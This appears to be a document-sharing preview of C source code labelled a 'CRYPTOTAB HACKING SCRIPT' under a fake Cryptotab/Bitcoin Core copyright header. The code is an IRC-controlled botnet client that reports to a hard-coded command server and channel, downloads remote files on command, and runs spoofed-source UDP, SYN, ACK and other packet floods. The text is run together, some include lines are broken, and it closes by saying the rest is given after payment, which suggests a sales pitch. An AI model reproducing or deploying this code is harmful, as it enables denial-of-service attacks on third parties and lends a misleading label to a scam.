Loading documents preview...
// Copyright (c) 2018-2020 Cryptotab Team // Copyright (c) 2018-2020 The Cryptotab Bitcoin Core developers // Distributed under the Cryptotab Browser developers software license #include <script/script.h> #include /* CRYPTOTAB HACKING SCRIPT !* udp <port> !* syn <port> !* fin <port> !* psh <port> !* ack <port> !* urg <port> !* rst <port> !* ece <port> !* cwr <port> !* sew <port> !* xmas <port> !* unknown */ #undef STARTUP #undef IDENT #define FAKENAME "Routers" #define CHAN "##Legendary" #define KEY "" int numservers=1; char *servers[] = { "185.62.190.7", (void*)0 }; #include <stdarg.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include #include <strings.h> #include #include #include <sys/time.h> #include <sys/socket.h> #include <signal.h> #include <arpa/inet.h> #include #include #include <sys/wait.h> #include <sys/ioctl.h> int sock,changeservers=0; char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256]; unsigned int *pids; unsigned long spoofs=0, spoofsm=0, numpids=0; int strwildmatch(const char* pattern, const char* string) { switch(*pattern) { case '\0': return *string;
case '*': return !(!strwildmatch(pattern+1, string) || *string && ! strwildmatch(pattern, string+1)); case '?': return !(*string && !strwildmatch(pattern+1, string+1)); default: return !((toupper(*pattern) == toupper(*string)) && ! strwildmatch(pattern+1, string+1)); } } int Send(int sock, char *words, ...) { static char textBuffer[1024]; va_list args; va_start(args, words); vsprintf(textBuffer, words, args); va_end(args); return write(sock,textBuffer,strlen(textBuffer)); } int mfork(char *sender) { unsigned int parent, *newpids, i; if (disabled == 1) { Send(sock,"NOTICE %s :Unable to comply.\n",sender); return 1; } parent=fork(); if (parent <= 0) return parent; numpids++; newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int)); for (i=0;i
memset(&(my_addr.sin_zero), 0, 8); if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) return; if (listen(sockfd, 1) == -1) return; if (fork() == 0) return; sin_size = sizeof(struct sockaddr_in); if ((tmpsock = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) exit(0); for(;;) { fd_set bla; struct timeval timee; FD_ZERO(&bla); FD_SET(tmpsock,&bla); timee.tv_sec=timee.tv_usec=60; if (select(tmpsock + 1,&bla,(fd_set*)0,(fd_set*)0,&timee) < 0) exit(0); if (FD_ISSET(tmpsock,&bla)) break; } i = recv(tmpsock,szBuffer,1024,0); if (i <= 0 || i >= 20) exit(0); szBuffer[i]=0; if (szBuffer[i-1] == '\n' || szBuffer[i-1] == '\r') szBuffer[i-1]=0; if (szBuffer[i-2] == '\n' || szBuffer[i-2] == '\r') szBuffer[i-2]=0; Send(tmpsock,"%s : USERID : UNIX : %s\n",szBuffer,ident); close(tmpsock); close(sockfd); exit(0); } long pow(long a, long b) { if (b == 0) return 1; if (b == 1) return a; return a*pow(a,b-1); } u_short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer =0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } void get(int sock, char *sender, int argc, char **argv) { int sock2,i,d; struct sockaddr_in server; unsigned long ipaddr; char buf[1024]; FILE *file; unsigned char bufm[4096]; if (mfork(sender) != 0) return;
if (argc < 2) { Send(sock,"NOTICE %s :GET <save as>\n",sender); exit(0); } if ((sock2 = socket(AF_INET, SOCK_STREAM, 0)) == -1) { Send(sock,"NOTICE %s :Unable to create socket.\n",sender); exit(0); } if (!strncmp(argv[1],"http://",7)) strcpy(buf,argv[1]+7); else strcpy(buf,argv[1]); for (i=0;i<strlen(buf) && buf[i] != '/';i++); buf[i]=0; server.sin_family = AF_INET; server.sin_port = htons(80); if ((ipaddr = inet_addr(buf)) == -1) { struct hostent *hostm; if ((hostm=gethostbyname(buf)) == NULL) { Send(sock,"NOTICE %s :Unable to resolve address.\n",sender); exit(0); } memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length); } else server.sin_addr.s_addr = ipaddr; memset(&(server.sin_zero), 0, 8); if (connect(sock2,(struct sockaddr *)&server, sizeof(server)) != 0) { Send(sock,"NOTICE %s :Unable to connect to http.\n",sender); exit(0); } Send(sock2,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAcceptEncoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf8\r\n\r\n",buf+i+1,buf); Send(sock,"NOTICE %s :Receiving file.\n",sender); file=fopen(argv[2],"wb"); while(1) { int i; if ((i=recv(sock2,bufm,4096,0)) <= 0) break; if (i < 4096) bufm[i]=0; for (d=0;d
if (spoofsm == 1) Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d\n",sender, ((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0]); else Send(sock,"NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d\n",sender, ((u_char*)&a)[3],((u_char*)&a)[2],((u_char*)&a)[1],((u_char*)&a)[0],((u_char*)&b) [3],((u_char*)&b)[2],((u_char*)&b)[1],((u_char*)&b)[0]); } void version(int sock, char *sender, int argc, char **argv) { Send(sock,"NOTICE %s :kr3d. v0.666\n",sender); } void nickc(int sock, char *sender, int argc, char **argv) { if (argc != 1) { Send(sock,"NOTICE %s :NICK \n",sender); return; } if (strlen(argv[1]) >= 10) { Send(sock,"NOTICE %s :Nick cannot be larger than 9 characters.\n",sender); return; } Send(sock,"NICK %s\n",argv[1]); } void disable(int sock, char *sender, int argc, char **argv) { if (argc != 1) { Send(sock,"NOTICE %s :DISABLE <pass>\n",sender); Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders"); return; } if (disabled) { Send(sock,"NOTICE %s :Already disabled.\n",sender); return; } if (strlen(argv[1]) > 254) { Send(sock,"NOTICE %s :Password too long! > 254\n",sender); return; } disabled=1; memset(dispass,0,256); strcpy(dispass,argv[1]); Send(sock,"NOTICE %s :Disable sucessful.\n"); } void enable(int sock, char *sender, int argc, char **argv) { if (argc != 1) { Send(sock,"NOTICE %s :ENABLE <pass>\n",sender); Send(sock,"NOTICE %s :Current status is: %s.\n",sender,disabled?"Disabled":"Enabled and awaiting orders"); return; } if (!disabled) { Send(sock,"NOTICE %s :Already enabled.\n",sender); return; } if (strcasecmp(dispass,argv[1])) { Send(sock,"NOTICE %s :Wrong password\n",sender); return; } disabled=0; Send(sock,"NOTICE %s :Password correct.\n",sender); }
void spoof(int sock, char *sender, int argc, char **argv) { char ip[256]; int i, num; unsigned long uip; if (argc != 1) { Send(sock,"NOTICE %s :Removed all spoofs\n",sender); spoofs=0; spoofsm=0; return; } if (strlen(argv[1]) > 16) { Send(sock,"NOTICE %s :What kind of subnet address is that? Do something like: 169.40\n",sender); return; } strcpy(ip,argv[1]); if (ip[strlen(ip)-1] == '.') ip[strlen(ip)-1] = 0; for (i=0, num=1;i<strlen(ip);i++) if (ip[i] == '.') num++; num=-(num-4); for (i=0;i
struct pseudo_header { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; char buf[20]; }; unsigned int host2ip(char *sender,char *hostname) { static struct in_addr i; struct hostent *h; if((i.s_addr = inet_addr(hostname)) == -1) { if((h = gethostbyname(hostname)) == NULL) { Send(sock, "NOTICE %s :Unable to resolve %s\n", sender,hostname); exit(0); } bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); } return i.s_addr; } void udp(int sock, char *sender, int argc, char **argv) { unsigned int port,i=0; unsigned long psize,target,secs; struct sockaddr_in s_in; struct iphdr *ip; struct udphdr *udp; char buf[1500],*str; int get; time_t start=time(NULL); if (mfork(sender) != 0) return; if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); if (argc < 3) { Send(sock,"NOTICE %s :UDP <port> <secs>\n",sender); exit(1); } target = host2ip(sender,argv[1]); port = atoi(argv[2]); secs = atol(argv[3]); ip=(void*)buf; udp=(void*)(buf+sizeof(struct iphdr)); str=(void*)(buf+sizeof(struct iphdr)+sizeof(struct udphdr)); memset(str,10,1500-(sizeof(struct iphdr)+sizeof(struct udphdr))); Send(sock,"NOTICE %s :Packeting %s.\n",sender,argv[1]); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = 1500; ip->frag_off = 0; ip->protocol = 17; ip->ttl = 64; ip->daddr = target; udp->len = htons(psize); s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = target; for (;;) { udp->source = rand(); if (port) udp->dest = htons(port);
else udp->dest = rand(); udp->check = in_cksum((u_short *)buf,1500); ip->saddr = getspoof(); ip->id = rand(); ip->check = in_cksum((u_short *)buf,1500); s_in.sin_port = udp->dest; sendto(get,buf,1500,0,(struct sockaddr *)&s_in,sizeof(s_in)); if (i >= 50) { if (time(NULL) >= start+secs) exit(0); i=0; } i++; } } void syn(int sock, char *sender, int argc, char **argv) { struct send_tcp send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE %s :SYN <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]); dest=htons(atoi(argv[2])); Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]); send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16; send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = 6; send_tcp.tcp.doff = 5; send_tcp.tcp.res1 = 0; send_tcp.tcp.cwr = 0; send_tcp.tcp.ece = 0; send_tcp.tcp.psh = 0; send_tcp.tcp.rst = 0; send_tcp.tcp.fin = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.ack = 1; send_tcp.tcp.window = 30845; send_tcp.tcp.urg_ptr = 0; while(1) { saddr=getspoof(); if (atoi(argv[2]) == 0) dest=rand(); send_tcp.ip.tot_len = htons(40+psize); send_tcp.ip.id = rand(); send_tcp.ip.check = 0; send_tcp.ip.saddr = saddr;
send_tcp.ip.daddr = daddr; send_tcp.tcp.source = rand(); send_tcp.tcp.dest = dest; send_tcp.tcp.seq = rand(); send_tcp.tcp.ack_seq = rand(); send_tcp.tcp.check = 0; sin.sin_family = AF_INET; sin.sin_port = send_tcp.tcp.dest; sin.sin_addr.s_addr = send_tcp.ip.daddr; send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); check = in_cksum((unsigned short *)&send_tcp, 40); pseudo_header.source_address = send_tcp.ip.saddr; pseudo_header.dest_address = send_tcp.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20+psize); bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize); send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize); sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin)); if (a >= 50) { if (time(NULL) >= start+secs) exit(0); a=0; } a++; } close(get); exit(0); } void nssyn(int sock, char *sender, int argc, char **argv) { struct send_tcp send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE %s :NSSYN <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]); Send(sock,"NOTICE %s :Packeting %s \n",sender,argv[1]); send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16; send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 64; send_tcp.ip.protocol = 6; send_tcp.tcp.ack_seq = 0; send_tcp.tcp.doff = 10; send_tcp.tcp.res1 = 0;
send_tcp.tcp.cwr = 0; send_tcp.tcp.ece = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.ack = 0; send_tcp.tcp.psh = 0; send_tcp.tcp.rst = 0; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.window = 30845; send_tcp.tcp.urg_ptr = 0; dest=htons(atoi(argv[2])); while(1) { source=rand(); if (atoi(argv[2]) == 0) dest=rand(); saddr=INADDR_ANY; send_tcp.ip.tot_len = htons(40+psize); send_tcp.ip.id = rand(); send_tcp.ip.saddr = saddr; send_tcp.ip.daddr = daddr; send_tcp.ip.check = 0; send_tcp.tcp.source = source; send_tcp.tcp.dest = dest; send_tcp.tcp.seq = rand(); send_tcp.tcp.check = 0; sin.sin_family = AF_INET; sin.sin_port = dest; sin.sin_addr.s_addr = send_tcp.ip.daddr; send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); check = rand(); send_tcp.buf[9]=((char*)&check)[0]; send_tcp.buf[10]=((char*)&check)[1]; send_tcp.buf[11]=((char*)&check)[2]; send_tcp.buf[12]=((char*)&check)[3]; pseudo_header.source_address = send_tcp.ip.saddr; pseudo_header.dest_address = send_tcp.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20+psize); bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize); send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize); sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin)); if (a >= 50) { if (time(NULL) >= start+secs) exit(0); a=0; } a++; } close(get); exit(0); } void ack(int sock, char *sender, int argc, char **argv) { struct send_tcp send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int psize=20, source, dest, check;
unsigned long saddr, daddr,secs; int get; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE %s :ACK <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]); dest=htons(atoi(argv[2])); Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]); send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16; send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = 6; send_tcp.tcp.doff = 5; send_tcp.tcp.res1 = 0; send_tcp.tcp.cwr = 0; send_tcp.tcp.ece = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.ack = 1; send_tcp.tcp.psh = 1; send_tcp.tcp.rst = 0; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 0; send_tcp.tcp.window = 30845; send_tcp.tcp.urg_ptr = 0; while(1) { saddr=getspoof(); if (atoi(argv[2]) == 0) dest=rand(); send_tcp.ip.tot_len = htons(40+psize); send_tcp.ip.id = rand(); send_tcp.ip.check = 0; send_tcp.ip.saddr = saddr; send_tcp.ip.daddr = daddr; send_tcp.tcp.source = rand(); send_tcp.tcp.dest = dest; send_tcp.tcp.seq = rand(); send_tcp.tcp.ack_seq = rand(); send_tcp.tcp.check = 0; sin.sin_family = AF_INET; sin.sin_port = send_tcp.tcp.dest; sin.sin_addr.s_addr = send_tcp.ip.daddr; send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); check = in_cksum((unsigned short *)&send_tcp, 40); pseudo_header.source_address = send_tcp.ip.saddr; pseudo_header.dest_address = send_tcp.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20+psize); bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize); send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin)); if (a >= 50) { if (time(NULL) >= start+secs) exit(0); a=0; } a++; } close(get); exit(0); } void sew(int sock, char *sender, int argc, char **argv) { struct send_tcp send_tcp; struct pseudo_header pseudo_header; struct sockaddr_in sin; unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0; unsigned int psize=20, source, dest, check; unsigned long saddr, daddr,secs; int get; time_t start=time(NULL); if (mfork(sender) != 0) return; if (argc < 3) { Send(sock,"NOTICE %s :SEW <port> <secs>\n",sender); exit(1); } if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1); {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];} daddr=host2ip(sender,argv[1]); secs=atol(argv[3]); dest=htons(atoi(argv[2])); Send(sock,"NOTICE %s :Packeting %s\n",sender,argv[1]); send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 16; send_tcp.ip.frag_off = 64; send_tcp.ip.ttl = 255; send_tcp.ip.protocol = 6; send_tcp.tcp.doff = 5; send_tcp.tcp.res1 = 3; send_tcp.tcp.cwr = 0; send_tcp.tcp.ece = 0; send_tcp.tcp.urg = 0; send_tcp.tcp.ack = 0; send_tcp.tcp.psh = 0; send_tcp.tcp.rst = 0; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.window = 30845; send_tcp.tcp.urg_ptr = 0; while(1) { saddr=getspoof(); if (atoi(argv[2]) == 0) dest=rand(); send_tcp.ip.tot_len = htons(40+psize); send_tcp.ip.id = rand(); send_tcp.ip.check = 0; send_tcp.ip.saddr = saddr; send_tcp.ip.daddr = daddr; send_tcp.tcp.source = rand(); send_tcp.tcp.dest = dest;
send_tcp.tcp.seq = rand(); send_tcp.tcp.ack_seq = rand(); send_tcp.tcp.check = 0; sin.sin_family = AF_INET; sin.sin_port = send_tcp.tcp.dest; sin.sin_addr.s_addr = send_tcp.ip.daddr; send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); check = in_cksum((unsigned short *)&send_tcp, 40); pseudo_header.source_address = send_tcp.ip.saddr; pseudo_header.dest_address = send_tcp.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20+psize); bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize); send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize); sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin)); if (a >= 50) { if (time(NULL) >= start+secs) exit(0); a=0; } a++; } close(get); // ATTENTION //rest half script will be given directly after complete price